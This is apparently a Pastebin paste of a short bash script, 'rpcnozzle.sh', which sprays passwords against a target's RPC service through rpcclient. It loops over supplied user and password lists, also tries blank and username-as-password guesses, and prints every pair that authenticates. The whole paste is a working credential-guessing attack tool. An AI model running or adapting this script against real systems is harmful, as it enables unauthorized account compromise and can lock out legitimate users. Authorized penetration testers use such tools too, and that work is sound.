Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # via [email protected]
- # rpcnozzle.sh v0.2
- # rpc password sprayer
- ## var defs
- noarg=1
- nocreds=2
- i=0
- ## function defs
- argumentcheck(){
- if [ $# -lt 3 ]; then
- echo "[!] Usage: $(basename $0) <UserList> <PassList> <TargetIP>"
- exit $noarg
- fi
- }
- validcheck(){
- if [[ $trpcpl =~ .*Authority.* ]]; then
- echo "[!] (Username): $u (Password): $p"
- i=$((i+1))
- fi
- }
- rpcconnect(){
- trpcpl=$(rpcclient -U "$u%$p" -c "getusername;quit" $1)
- }
- rpcnozzle(){
- echo "[i] Testing users and passwords"
- while read u; do
- p=""
- rpcconnect $3
- validcheck
- p="$u"
- rpcconnect $3
- validcheck
- while read p; do
- rpcconnect $3
- validcheck
- done < $2
- done < $1
- }
- resultscheck(){
- if [ "$i" -gt 0 ]; then
- echo "[i] $i Set(s) of Credentials Found!"
- exit 0
- else
- echo "[!] No Credentials Found."
- exit $nocreds
- fi
- }
- ## spray all the things
- argumentcheck "$@"
- rpcnozzle "$@"
- resultscheck
Advertisement
Add Comment
Please, Sign In to add comment